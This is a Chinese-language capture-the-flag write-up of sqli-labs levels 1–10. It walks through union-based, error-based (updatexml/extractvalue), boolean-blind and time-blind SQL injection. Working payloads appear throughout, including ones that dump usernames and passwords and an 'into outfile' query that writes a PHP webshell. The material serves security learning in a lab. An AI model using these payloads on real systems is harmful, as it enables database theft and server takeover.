靶场环境 buuctf的靶场
根据提示:提交方式GET 有报错提示 闭合方式为单引号
源码的sql语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
使用?id=1进行get传参
依次使用?id=2,3,4,5,6.....不知道这关要干嘛QAQ
目标:得到数据库名字 表名 字段名 数据
输入?id=1'%23 原理用自己添加的单引号闭合 然后用#注释掉后面的单引号 不过#要用url编码成%23
$sql="SELECT * FROM users WHERE id='1'#' LIMIT 0,1";
为啥要把#号进行url编码?
#,在SQL语句中没问题,但是在URL中#号代表html页面中的锚点,经过URL编译后会消失,直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了,在前端注释符使用url编码,传输过程中把url编码带上,到后端就会进行一次url解码操作,#号注释符起作用
发现页面回显正常 即和?id=1的时候返回的页面一样 判断这里可以注入
也可以用老方法?id=1' and 1=1 %23 和 ?id=1' and 1=2 %23 回显不一致来判断
补充where的特性: 如果where后面跟的不是一个查询条件而是一个真假的布尔值 那么当where后面的结果的为单纯的真值 执行前面的语句 反之不执行语句 如图
判断字段长度(为后面的union select 做铺垫)
联合查询特性 前后查询的字段数必须一致
我们不知道字段数 所以用order by 来猜测字段数 当不知道字段数的时候可用数字代替
当字段数超过的时候就会报错 Unknown column '5' in 'order clause' 因此判断正确的字段数
然后用order by 查询字段数 判断出字段数为3
然后构造语句
?id=-1' union select 1,2,3%23
来判断数据的回显位置 用-1是为了让前面的语句失效即布尔值为假 也可以是一个很大的数 然后执行后面的语句 目的是为了让前面的语句失效
然后爆出用户权限和数据库类型
?id=-1' union select 1,user(),database()%23
爆出操作系统和数据库版本
?id=-1' union select 1,@@version_compile_os,version()%23
跨库查询不会的可以去看一下 Mysql的一库三表六字段
跨库查询表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
查询users表下的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
查询users表下的username password
?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
这里为啥没有显示完全我也不知道 而且这个用户名密码就是之前传参遍历得到的 我也不知道自己在干嘛???你可以查询别的表
源码的sql语句为
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
判断注入的方式
输入?id=4-2 拿回显页面和?id=2 作比较 返回页面一致 说明有带入数据库查询为数字型注入
也可以用老方法?id=1 and 1=1 %23 和 ?id=1 and 1=2 %23 回显不一致来判断
剩余操作和第一关一样 不再赘述
输入?id=1' 闭合前面的单引号查看报错信息
结论闭合方式为('id')
?id=1')%23验证回显一样
剩余操作和第一关一样 主要是判断闭合方式
同样的手法
闭合方式为 ("id")
?id=1")%23
验证回显一样 剩余操作和第一关一样 主要是判断闭合方式
靶场环境:win10虚拟机 php版本:5.4.5 Apache phpstudy的集成化环境
php源码如下
';
echo 'You are in...........';
echo "
";
echo "";
}
// id查询错误就输出mysql的报错
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
}
// 没有输入id就提示请输入get传参 这就是一开始进来的页面
else { echo "Please input the ID as parameter with numeric value";}
?>
通过分析代码得知 输入正确的id就返回You are in........... 不正确的话输出报错
因为这关不能没有显示的位置了 所以不能通过联合查询得到我们想要的数据 所以这关推荐用报错注入
判断注入点
?id=1'%23
?id=1' and 1=1%23
?id=1' and 1=2%23
报错注入使用场景
页面上没有显示位。但是会输出sql语句执行错误的信息 这个报错通常是开发人员为了调试错误而写的
三种常见报错注入
函数介绍
extractvalue(参数1,参数2)
参数1:xml文档字符串
参数2:xpath格式字符串
该函数主要用来查找并解析xml文档
updatexml(参数1,参数2,参数3)
参数1:xml文档字符串
参数2:xpath格式字符串
参数3:替换字符串
该函数主要用来查找替换并解析xml文档,但是不会保存到数据库
函数使用
// 设置xml文档 将名称设置为@xml
mysql> set @xml="这是bb这是cc 这是dd ";
Query OK, 0 rows affected, 1 warning (0.00 sec)
// 查询并解析xml文档 //cc表示定位到根路径下的cc //表示根路径 你还可以写更详细的路径//aa/bb/cc
mysql> select extractvalue(@xml,'//cc');
+---------------------------+
| extractvalue(@xml,'//cc') |
+---------------------------+
| 这是cc |
+---------------------------+
1 row in set (0.00 sec)
// 查询并解析xml文档
mysql> select extractvalue(@xml,"//bb");
+---------------------------+
| extractvalue(@xml,"//bb") |
+---------------------------+
| 这是bb |
+---------------------------+
1 row in set (0.00 sec)
// 查询替换并解析xml文档
mysql> select updatexml(@xml,"//dd","123 ");
+-----------------------------------------------------+
| updatexml(@xml,"//dd","123 ") |
+-----------------------------------------------------+
| 这是bb这是cc 123 |
+-----------------------------------------------------+
1 row in set (0.00 sec)
// 注意!!!该函数主要用来查找替换并解析xml文档,但是不会保存到数据库
mysql> select @xml;
+--------------------------------------------------------+
| @xml |
+--------------------------------------------------------+
| 这是bb这是cc 这是dd |
+--------------------------------------------------------+
1 row in set (0.00 sec)
有关xml的知识可以看这篇文章xml介绍
Xpath格式解释
//代表xml文档的根路径,如果你学习过dom文档对象的话,这两个根路径差不多,你可以认为和dom文档对像的根路径一样,//*代表的这个文档的所有内容,xml是由层级关系的,如@xml="",如果你的xpath写成//ww,那么它就会把两个ww都找到,如果你写成//qq/ww,那么就能进行精确定位,所以你理解xpath格式时可以认为这就是一个进行xml文档内容定位的东西。
extractvalue()和updatexml()函数报错原理解释
它们两个函数的报错原理其实都一样,都是因为第二个参数不采用xpath格式的字符导致数据库报xpath格式错误,下面以extractvalue()进行原理阐述。
当我们在数据库里进行xml查找并解析时,在extractvalue的第二个参数放一个user()时,它本身并不是一个xpath格式,所以一定会报一个xpath格式错误。
mysql> select extractvalue(@xml,user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select extractvalue(@xml,database());
+-------------------------------+
| extractvalue(@xml,database()) |
+-------------------------------+
| |
+-------------------------------+
1 row in set (0.00 sec)
这里我们可以注意到,user()函数的结果有一部分是和报错信息一起在错误信息中显示的,这是为什么呢?
这是因为数据库在进行xpath格式校验时,发现这个参数是不合法的,所以将这个信息显示出来,以方便程序员进行调试。
那怎么才能利用这个错误点将user()或者database()函数的全部信息都跟随报错信息一起显示呢?
通过上一个问题我们可以思考,数据库在进行xpath格式校验时,如果这个参数我们直接构造一个非法的xpath格式字符串,让数据库从开始就直接校验xpath格式失败,会不会把database()本应该显示的信息都跟随错误信息一起显示出来呢?这里有一个问题,怎么才能算不合法的xpath格式呢?经过一番测试,只要在参数的开头位置添加一些特殊字符就可以构造成功!如!、#、$、%、^、&、*等等都可以构造非法xpath格式字符串,为了database()能够合法执行我们得使用concat() 函数,这样就可以将database()函数的执行结果与前面的特殊字符拼接到一起了,在本地进行测试。
mysql> select extractvalue(@xml,concat('#',database()));
ERROR 1105 (HY000): XPATH syntax error: '#ctftest'
mysql> select extractvalue(@xml,concat('$',database()));
ERROR 1105 (HY000): Unknown XPATH variable at: '$ctftest'
mysql> select extractvalue(@xml,concat('%',database()));
ERROR 1105 (HY000): XPATH syntax error: '%ctftest'
mysql> select extractvalue(@xml,concat('`',database()));
ERROR 1105 (HY000): XPATH syntax error: '`ctftest'
mysql> select extractvalue(@xml,concat('~',database()));
ERROR 1105 (HY000): XPATH syntax error: '~ctftest'
mysql> select extractvalue(@xml,concat('^',database()));
ERROR 1105 (HY000): XPATH syntax error: '^ctftest'
mysql> select extractvalue(@xml,concat('&',database()));
ERROR 1105 (HY000): XPATH syntax error: '&ctftest'
mysql> select extractvalue(@xml,concat('*',database()));
ERROR 1105 (HY000): XPATH syntax error: 'ctftest'
mysql> select extractvalue(@xml,concat('(',database()));
ERROR 1105 (HY000): XPATH syntax error: ''
mysql> select extractvalue(@xml,concat(')',database()));
ERROR 1105 (HY000): XPATH syntax error: ')ctftest'
mysql> select extractvalue(@xml,concat('-',database()));
+-------------------------------------------+
| extractvalue(@xml,concat('-',database())) |
+-------------------------------------------+
| -0 |
+-------------------------------------------+
1 row in set (0.00 sec)
mysql> select extractvalue(@xml,concat('_',database()));
+-------------------------------------------+
| extractvalue(@xml,concat('_',database())) |
+-------------------------------------------+
| |
+-------------------------------------------+
1 row in set (0.00 sec)
mysql> select extractvalue(@xml,concat('+',database()));
ERROR 1105 (HY000): XPATH syntax error: '+ctftest'
mysql> select extractvalue(@xml,concat('=',database()));
ERROR 1105 (HY000): XPATH syntax error: '=ctftest'
第五关开始注入
//updatexml注入 ~的十六进制编码是0x7e
# 爆库
1' and updatexml(1,concat('~',(select database()),'~'),1) --+
# 爆表
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
# 爆字段
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1) --+
# 爆数据
1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) --+
//这里需要注意一个问题,就是在url中使用#、&等字符会被url编码,所以这里使用16进制的#(0x23)进行注入
extractvalue
# 爆库
1' and extractvalue(1,concat(0x23,database(),0x23))--+
# 爆表
1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x23))--+
# 爆字段
1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x23)) --+
# 爆用户名
1' and extractvalue(1,concat(0x23,(select username from users order by id limit 0,1),0x23))--+
# 爆密码
1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+
注意:extractvalue()和updatexml()只能把32位长度的数据库信息带出来 可以通过limit分页来查询 limit(起始位置,截取数量)起始位置默认是0 可以不写
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
和第五关类似 唯一的不同点是被双引号"id"包裹 剩余操作一样 跳过就行
参考链接:XML——XML介绍和基本语法_aidem_brown的博客-CSDN博客_xml
WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入
靶场环境:win10虚拟机 php版本:5.4.5 Apache phpstudy的集成化环境
php源代码如下
';
echo 'You are in.... Use outfile......';
echo "
";
echo "";
}
// 查询不到就输出You have an error in your SQL syntax
else
{
echo '';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
因为这关关闭了报错信息 根据常规思路没办法猜出闭合方式是(('$id')) 所以我直接查看了源代码。。。。。。
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
根据提示我们要写入文件 当然这关你也可以用布尔盲注和时间盲注等等但是我们这里优先考虑root权限写入木马
select '你要写入的内容' into outfile '网站的绝对路径'
root权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置—secure-file-priv
可以通过命令 查看这个属性 select @@secure_file_priv(默认是null)
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)
参数secure_file_priv:
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出当值被设置为NULL时,禁止导入导出功能
这个值可以通过命令 select @@secure_file_priv 查询需要在mysql的my.ini配置文件中更改:
[mysqld]
secure_file_priv=""
判断列数
?id=2'))order by 3%23
网站的路径可以通过以下3种方式来查看
phpinfo
select @@datadir
mysql> select @@datadir;
+-------------------------------------+
| @@datadir |
+-------------------------------------+
| C:\phpStudy\PHPTutorial\MySQL\data\ |
+-------------------------------------+
1 row in set (0.00 sec)
web框架默认路径
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
xammp 就是...\xampp\htdocs
phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\
...\phpstudy_pro\www
当然也不排除有人会修改默认的网站根目录 比如我。。。
个人觉得实战意义不是很大 限制条件太多
最好是能够将木马写到网站的web目录下面 这样好一点?!
它会报错但是不要紧
?id=-2%27)) union select 1,2,'' into outfile "C:/www/xiaoma.php"%23
Less-8 (GET-Blind-Boolian based-单引号) GET型基于单引号的布尔盲注
php关键代码如下
';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
分析代码可知 页面只会返回两种结果
正确返回You are in...........
错误则什么都不显示 注释掉了 mysql_error()和语法错误
那么这关我们就可以用布尔盲注 或DNSlog注入等等 这里先使用布尔盲注(因为我还没搞懂第二个的原理)
盲注就是在 sql 注入过程中,sql 语句执行的时候,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断我们这次查询是否成功,这个过程称之为盲注。
页面上没有显示位,并且没有输出SQL语句执行错误信息 只能通过页面返回正常与不正常判断
判断是否有注入
?id=1' and 1=1 --+ ?id=1' and 1=2 --+ 或者 ?id=1'%23
判断数据库的长度 可以用burp的intrude模块进行爆破 $8$范围设置在1-128之间
?id=1' and length(database())=8 --+
用ascii码爆破数据库名字 同样可start起始位置和ascii码的值进行爆破 mid(字符串,start,截取长度)
?id=1' and ascii(mid(database(),1,1))=1 --+
用substr爆破表名 得到emails substr(字符串,start,截取长度)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
爆破列名 得到列名id,email_id
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=101 --+
得到数据
?id=1' and ascii(substr((select email_id from security.emails limit 0,1),1,1))=101 --+
Less-9 (GET-Blind-Time based-Single Quotes) GET型基于单引号的时间盲注
php关键代码如下
';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
分析代码可知 无论输入正确或错误结果页面只会返回1种结果You are in...........
布尔盲注行不通了 因此我们考虑时间盲注
页面上没有显示位 没有输出报错语句 正确的sql语句和错误的sql语句页面返回一致
if(参数1,参数2,参数3)
参数1为条件,可以返回布尔值,当参数1返回的结果为true时,执行参数2(或作为结果),否则执行参数3(或作为结果)。
ascii("字符")
将指定字符转换为ascii码,如果给定的参数是字符串,那么指挥转换第一个字符。
substr(参数1,参数2,参数3)
这个函数用来截取字符串,参数1为指定字符串,参数2为起始位置(1代表第一个字符),参数3为截取长度。
benchmark(arg1,arg2)
功能:arg1操作次数,arg2为表达式
BENCHMARK()函数重复 arg1 次执行表达式 arg2。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。示例:if(payload,benchmark(500000000),1);如果测试语句正确,暂停几秒左右,受服务器影响较大
mysql> select if(2>1,benchmark(50000000,md5(123456)),1);
+-------------------------------------------+
| if(2>1,benchmark(50000000,md5(123456)),1) |
+-------------------------------------------+
| 0 |
+-------------------------------------------+
1 row in set (9.91 sec)
mysql> select if(2>1,benchmark(50000000,md5(123456)),1);
+-------------------------------------------+
| if(2>1,benchmark(50000000,md5(123456)),1) |
+-------------------------------------------+
| 0 |
+-------------------------------------------+
1 row in set (9.91 sec)
判断是否有注入
?id=1' and sleep(10) --+
判断数据库长度
?id=1' and if(length(database())=8,sleep(5),1) --+
截取数据库字符串 得到security
?id=1' and if (substr(database(),1,1)='s',sleep(5),1) --+
?id=1' and if (ascii(substr(database(),1,1))=115,sleep(10),1) --+
爆破表名 得到emails
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1) --+
爆破列名 得到id,email_id
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(10),1) --+
得到数据
?id=1' and if(ascii(substr((select email_id from security.emails limit 0,1),1,1))=68,sleep(10),1) --+
emmm 这种时间盲注搭配burp爆破也比较麻烦 学会python以后可以写exp脚本爆破 这里主要是理解原理和函数使用
Less-10 (GET-Blind-Time based-double quotes) GET型基于双引号的时间盲注
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同第九关 区别为双引号包裹